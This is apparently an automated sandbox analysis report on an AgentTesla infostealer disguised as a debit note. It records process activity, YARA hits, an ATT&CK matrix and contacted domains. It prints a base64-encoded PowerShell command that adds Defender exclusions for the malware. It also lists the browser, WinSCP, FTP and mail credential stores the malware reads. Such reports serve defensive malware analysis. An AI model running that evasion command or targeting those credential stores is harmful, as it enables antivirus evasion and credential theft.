Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\app.exe "C:\Users\user\AppData\Roaming\app.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeqazqbzagsadabvahaaxabeaguaygbpahqaiabuag8adablacaalqbnafmaugbfadiamaayadqaxwawadaamga0ac0aiabhag4azaagaeeadab0ageaywboag0azqbuahqacwauagmabwbtac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxabqag8abgblahmaxabeaguacwbrahqabwbwafwarablagiaaqb0acaabgbvahqazqagac0atqbtafiaxwayadaamga0af8amaawadianaatacaayqbuagqaiabbahqadabhagmaaabtaguabgb0ahmalgbjag8abqauaguaeabladsaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwayqbwahaalgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwayqbwahaalgblahgazqa=
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc qqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeqazqbzagsadabvahaaxabeaguaygbpahqaiabuag8adablacaalqbnafmaugbfadiamaayadqaxwawadaamga0ac0aiabhag4azaagaeeadab0ageaywboag0azqbuahqacwauagmabwbtac4azqb4aguaowagaeeazabkac0atqbwafaacgblagyazqbyaguabgbjaguaiaataeuaeabjagwadqbzagkabwbuafaacgbvagmazqbzahmaiabdadoaxabvahmazqbyahmaxabqag8abgblahmaxabeaguacwbrahqabwbwafwarablagiaaqb0acaabgbvahqazqagac0atqbtafiaxwayadaamga0af8amaawadianaatacaayqbuagqaiabbahqadabhagmaaabtaguabgb0ahmalgbjag8abqauaguaeabladsaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwayqbwahaalgblahgazqa7acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagac0arqb4agmabab1ahmaaqbvag4auabyag8aywblahmacwagaemaogbcafuacwblahiacwbcagoabwbuaguacwbcaeeacabwaeqayqb0ageaxabsag8ayqbtagkabgbnafwayqbwahaalgblahgazqa=			Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Queries volume information: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Queries volume information: C:\Users\user\AppData\Roaming\app.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.InstallUtil.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2932475445.000000000253C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2932475445.000000000257E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2109812273.00000000027DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2109812273.0000000002791000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: app.exe PID: 5844, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7116, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.InstallUtil.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2932475445.000000000253C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2109812273.0000000002791000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: app.exe PID: 5844, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7116, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.InstallUtil.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.44fb640.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2932475445.000000000253C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2932475445.000000000257E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2109812273.00000000027DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2109812273.0000000002791000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: app.exe PID: 5844, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 7116, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	121 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	2 Obfuscated Files or Information	Security Account Manager	321 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	22 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Debit note -MSR_2024_0024- and Attachments.com.exe	36%	Virustotal		Browse
Debit note -MSR_2024_0024- and Attachments.com.exe	37%	ReversingLabs	Win32.Trojan.CrypterX
Debit note -MSR_2024_0024- and Attachments.com.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\app.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\app.exe	37%	ReversingLabs	Win32.Trojan.CrypterX

Source	Detection	Scanner	Label	Link
http://hlag.cc	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.iaa-airferight.com	46.175.148.58	true	false		high
hlag.cc	173.252.167.60	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	false		high
